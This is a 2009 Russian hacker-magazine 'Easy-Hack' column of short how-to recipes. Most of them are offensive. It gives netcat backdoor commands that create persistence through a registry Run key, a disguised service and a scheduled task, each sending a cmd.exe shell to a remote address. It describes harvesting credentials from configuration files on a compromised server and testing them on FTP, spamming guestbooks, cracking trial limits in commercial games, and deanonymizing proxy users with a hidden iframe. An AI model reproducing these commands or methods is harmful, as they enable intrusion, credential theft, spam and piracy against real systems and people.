Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #122, ФЕВРАЛЬ 2009 г.

Easy-Hack

Леонид «R0id» Стройков (stroikov@gameland.ru)
Андрей «skvoz» Комаров (komarov@itdefence.ru)

Задача: автоматически чекать список друзей «ВКонтакте»

Решение

С ростом популярности социальных сетей растут и наши к ним требования. Примером служат десятки самых разнообразных тулз и скриптов, представленных на страницах ][. Однако сейчас мы рассмотрим решение, казалось бы, такой нетривиальной задачи, как автоматизированный чекинг френд-листа «ВКонтакте». Частенько случается так, что некоторые из «друзей» попросту самоудаляются из нашего списка, естественно, «по-английски» (aka не предупредив). Отсюда и вполне понятное желание вести регулярный автоматический мониторинг своего френд-листа. Что ж, в этом нет ничего сложного. Единственное, что нам понадобится – скрипт «FRIENDS CONTROL» от EnoT_PoToSkUn'а и подходящий php-хостинг. Для начала ознакомимся с самим скриптом и его возможностями. И так, утила умеет:

  • Вести общий список количества друзей
  • Проверять, сколько добавилось и удалилось друзей с момента последней проверки
  • Отправлять уведомление о результатах на мыло

Как ты уже догадался, скрипт создает файл, в котором хранятся данные проверок и использует его для сравнения при каждом следующем чеке. Теперь рассмотрим алгоритм действий для успешной установки скрипта:

1. Сливаем скрипт с нашего ДВД.

2. Открываем сорец и правим интересующие нас строки:

  • Указываем в значениях переменных свой id, мыло и пароль в начале скрипта;
  • Переменная $on_mail включает/выключает отправку результатов на мыло (0-выкл, 1-вкл);
  • Переменная $write_noresult отвечает за опцию записи данных в файл (0-не вписывать - по-дефолту/ 1-вписывать).

3. Ищем/покупаем/ломаем сервер с наличием PHP => 5 версии, LibCurl и Cron (при необходимости).

4. Заливаем отредактированный скрипт на наш сервер и запускаем его

5. После запуска скрипта создаем файл данных и заносим туда первую запись, с которой скрипт будет сверяться в дальнейшем. Для этого жмем на линк «Очистить/создать лог» и радуемся.

Вот, собственно, и все, удачи :).

Задача: собрать всевозможные конфиги на ломанном сервере

Решение

Одной из первоочередных задач после заливки веб-шелла будет поиск различных файлов конфигурации на атакуемом сервере. Не секрет, что в конфигах можно найти множество аккаунтов: начиная от пользователей СУБД и заканчивая фтп-акками. Но парсить все доступные каталоги вручную - дело неблагодарное. Предлагаю воспользоваться специально предназначенным для этого инструментом - phpConfigSpy от p-range & $re@m3r. Скрипт предназначен для автоматизированного поиска конфигов в каталогах вида /home/имя_юзера/public_html и всех подкаталогах, если они доступны для чтения пользователю, с правами которого запущен скрипт. После того, как скрипт находит конфиг, он ищет пароль и в случае успеха пробует соединиться с фтп, используя в качестве логина имя юзера, в дире которого был найден конфиг, а в качестве пасса - обнаруженный в конфиге пароль. Если авторизация на фтп пройдет удачно, скрипт уведомит тебя о найденном фтп-акке. Для успешного запуска скрипта необходимо:

1. Отредактировать сорец, указав (по желанию) имена конфигов для поиска:

($file=='config.php')
or ($file=='config.inc.php')
or ($file=='conf.php')
or ($file=='settings.php')
or ($file=='setup.php')
or ($file=='dbconf.php')
or ($file=='dbconfig.php')
or ($file=='db.inc.php')
or ($file=='dbconnect.php')
or ($file=='connect.php')
or ($file=='index.php')
or ($file=='common.php')
or ($file=='config_global.php')
or ($file=='db.php')
or ($file=='connect.inc.php')
or ($file=='dbconnect.inc.php'))

2. Изменить 24 строку скрипта:

$dirz = '/home/'.$username.'/public_html/';

и – 43 стоку:

$path = '/home/'.$user.'/public_html/';

указав валидные пути к веб-каталогам пользователям.

3. Залить скрипт на атакуемый сервер и запустить через браузер.

Задача: проспамить гостевуху MBook по собственному списку

Решение

Зачастую возникает потребность в спаме/флуде какой-либо гостевухи. Универсального спамера не существует в силу особенностей каждого конкретного движка. Но в случае с известной гостевухой MBook все намного проще :). Разобраться в решении задачи нам поможет MBook-спамер от Nightmarе, предназначенный для автоматической рассылки по гостевым книгам Mod-Site (MBook). Итак, что нам нужно:

1. Сама прога, которую ты можешь смело взять с нашего ДВД :).

2. Гостевухи на движке MBook (отлично ищутся в Гугле, например, запросом вида «MBook + inurl:cgi-bin/gb/gb»).

3. В каталоге с утилой создай файл sites.txt, в котором нужно указать сайты, содержащие гостевуху:

blablabla.com
xexexex.net
target.org

То есть, вбить надо исключительно домены, причем, без «http://» и путей к гостевухам.

4. Запускаем тулзу. Указываем путь к файлу со списком сайтов, заполняем все поля, печатаем свое сообщение – и вперед :).

5. При рассылке следует учитывать ряд факторов, влияющих на качество работы скрипта:

  1. Модерация сообщений в гостевухе;
  2. Неправильно заполнены поля, в частности E-mail и URL;
  3. Незаполненные обязательные поля (желательно заполнять все);
  4. Наличие капчи;
  5. Бан твоего IP.

В большинстве гостевух данного типа отсутствует капча, поэтому проблем возникнуть не должно. А в бесплатных демо-версиях с официального сайта нет вообще ничего, что могло бы осложнить тебе жизнь :). Но помни, спам - это плохо!

Задача: снять ограничение от игр Nevosoft на сайте (www.alawar.ru)

Решение

Кто-то тратит драгоценное время на партию «Косынки» или «Паучка», кто-то шарит по «Одноклассникам», а кто-то окунается в мир онлайн-игрушек. Сегодня мы рассмотрим очень интересные игры на сайте www.alawar.ru. К сожалению, в них во всех зашит механизм ограничения времени. Система триала следующая: 60 минут халявы, за остальное нужно слать SMS, которое стоит $3. Неохота платить? Сейчас я расскажу, как взломать такую игру и играть нахаляву сколько хочется.

Итак, чтобы убрать лимит по времени из игр Alawar:

  1. Качаем (или берем с диска) любую игру от NevoSoft и устанавливаем ее.
  2. Запускаем. Вылезет окошко, говорящее, что у нас еще 60 минут игры. Жмем на кнопку «Играть» и ожидаем, пока запустится игра.
  3. Ждем несколько секунд и жмем <Alt+TAB> – открывается диспетчер задач. Там ищем процесс с именем формата «?????.tmp». Сразу отвечу на вопрос: «А что это за процесс такой?». Это имя исполняемого файла игры.
  4. Отрываем поиск, вбиваем имя процесса и жмем «Найти». Находим файл. Тыкаем по нему правой кнопкой мыши, выбираем «Открыть содержащую объект папку» и видим этот файл. Копируем его в куда-нибудь, переименовываем в «blabla.exe».
  5. Все! Из игры можно выйти. Чтобы играть, копируем файл назад (в переименованном виде) и запускаем. Видим игру и радуемся, что она не ограничивает нас во времени!

По собственному опыту могу сказать, что прочие игры взламываются также.

Задача: надежно зашифровать содержимое жесткого диска

Решение

Ты, наверное, знаешь, что такое криптоконтейнеры. Под этим термином подразумевается раздел винта заранее заданного объема, предназначенный для хранения конфиденциальной инфы и целиком шифруемый каким-либо алгоритмом. Основным критерием при выборе утилы для работы с контейнерами является стойкость алгоса и удобство управления крипторазделами. Сейчас мы подробно рассмотрим, как надежно и эффективно сохранить твои данные. Использовать будем тулзу Disk Cryptor, она бесплатна и распространяется с сорцами, что исключает наличие посторонних закладок в проге. Итак:

  1. Сливаем утилу с http://diskcryptor.net или с нашего ДВД.
  2. Устанавливаем драйвер программы для Винды и ребутимся.
  3. Запускаем прогу (в случае с гуишной версией) выбираем интересующий нас раздел и нажимаем «Encrypt».
  4. Выбираем алгоритм шифрования, вводим пасс (чем сложнее - тем лучше) и запускаем процесс крипта, который займет прилично времени (в зависимости от размера диска).
  5. Доступ к шифрованным данным можно получить посредством Disk Cryptor'а. А именно - монтируем выбранный раздел (батон «Mount»), вводим пароль… и готово.
  6. Если тебя по каким-либо причинам не устраивает гуишная версия утилы, – ты вполне можешь заюзать консольную. Было бы желание :).
  7. После завершения работы с криптоконтейнером желательно произвести демонтирование раздела вручную, в противном случае - это будет сделано автоматически.

Кстати, прога умеет криптовать системный раздел, то есть тот, на который установлена Винда. Расписывать, что и как, я не буду, ибо алгоритм действий схожий. Думаю, ты вполне разберешься и сам.

Задача: необычным способом запустить netcat с явной выгодой для хакера

Решение

Приведу несколько способов запуска netcat’а, о которых мало кто знает.

1. Бекдоринг netcat’ом – путем добавления соответствующего ключа в ветку реестра для автозапуска:

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d “c:\windows\nc.exe –d 192.168.1.70 1234 –e cmd.exe”

При последующем логине в систему произойдет запуск netcat с открытием шелла на 1234 порту. Нюанс тут в том, что бекдор исполнится с правами того пользователя, который залезет на эту машину. Поэтому такие действия вполне могут открыть доступ полноценного администратора домена.

2. Исполнение бекдора в режиме «Windows Service». Вообще, netcat никогда не был заточен под виндовую службу, но, извратившись, мы можем сделать его таковым:

sc create Network Connections Service binPath= “cmd /K start c:\nc.exe –d 192.168.1.70 1234 –e cmd.exe” start= auto error= ignore

Командой SC создается сервис с несуществующим именем (чтобы в глаза не бросалось) «Network Connections Service». Флаг start= auto указывает, чтобы сервис запускался сразу после загрузки ОС, а error=ignore – запрещает посылать какие-либо логи в системный журнал. Если все сделано правильно, то тебя обрадует надпись «[SC] CreateService SUCCESS». Соль в том, что даже если операционка будет перезапущена, с ее включением бекдор вновь начнет свою работу.

3. Запуск netcat с использованием Windows Task Sheduler (планировщика задач). Как вариант, можно запустить netcat в определенное время, а именно – когда темно и тихо. В этом нам поможет встроенный в Windows планировщик.

net start schedule
at 12:00:00 /every:m,t,w,th,f,s,su “”c:\nc.exe –d 192.168.1.70 1234 –e cmd.exe””

Каждый день (буквы отвечают за дни недели), в 12:00:00 у нас будет открываться шелл.

Задача: просканировать порты netcat’ом

Решение

Мало кто знает, что netcat может выступать отличным средством сканирования портов. Достаточно запустить его в соответствующем режиме:

nc –z –n –v –w 1 192.168.1.100 1-1024
nc –n –v –w 1 –z 192.168.1.100 20 21 22 25 80 8080

В обоих примерах используются следующие флаги:

  • -z (zero-input/output mode) (работа без программных задержек);
  • -n (numeric-only, используем, так как задается IP-адрес, а не домен);
  • -w (таймаут на коннекты в секундах).

Задача: выцепить реальный IP-адрес негодяя, который скрывается за проксей

Решение

Для решения задачи советую тебе обратить внимание на проект от создателей известного хакерского комбайна Metasploit – Decloak (decloak.net). Он посвящен разоблачению особо хитрых людей, применяющих средства анонимизации. В своем арсенале программа задействует следующие техники добычи:

  • Традиционный вызов функции на языке JAVA; если у пользователя установлен Quick Time, то путем загрузки специального параметра аплет попытается насильно вынудить браузер жертвы открыть «direct» соединение;
  • Метод прогрузки Word-документа с его авто-открытием, при котором незаметно со стороннего ресурса будет подкачена картинка. Это поможет обойти прокси и спалить реальный DNS-сервер пользователя;
  • Установка прямого соединения при обращении к Flash-приложению;
  • Если у пользователя установлен Itunes, который регистрирует в системе новый протокол обращений «itms», то хитреца можно заставить открыть свой плеер и установить прямое соединение с заданным URL.

С недавнего времени разработчики сделали для своего проекта специальный «Decloaking Engine Remote API», который можно использовать на сторонних ресурсах. Чтобы применить его, генерируем себе уникальный идентификатор:

md5("secret" . $_SERVER['REMOTE_ADDR'] . $_SERVER['REMOTE_PORT'] . time() . "secret");

Как только, мы получили секрет, смело юзаем следующий линк для впаривания:

<iframe src="http://decloak.net/decloak.html?cid=<идентификатор>"></iframe>

Для получения результатов просматриваем:

decloak.net/report.html?cid=<идентификатор>&format=text.

Содержание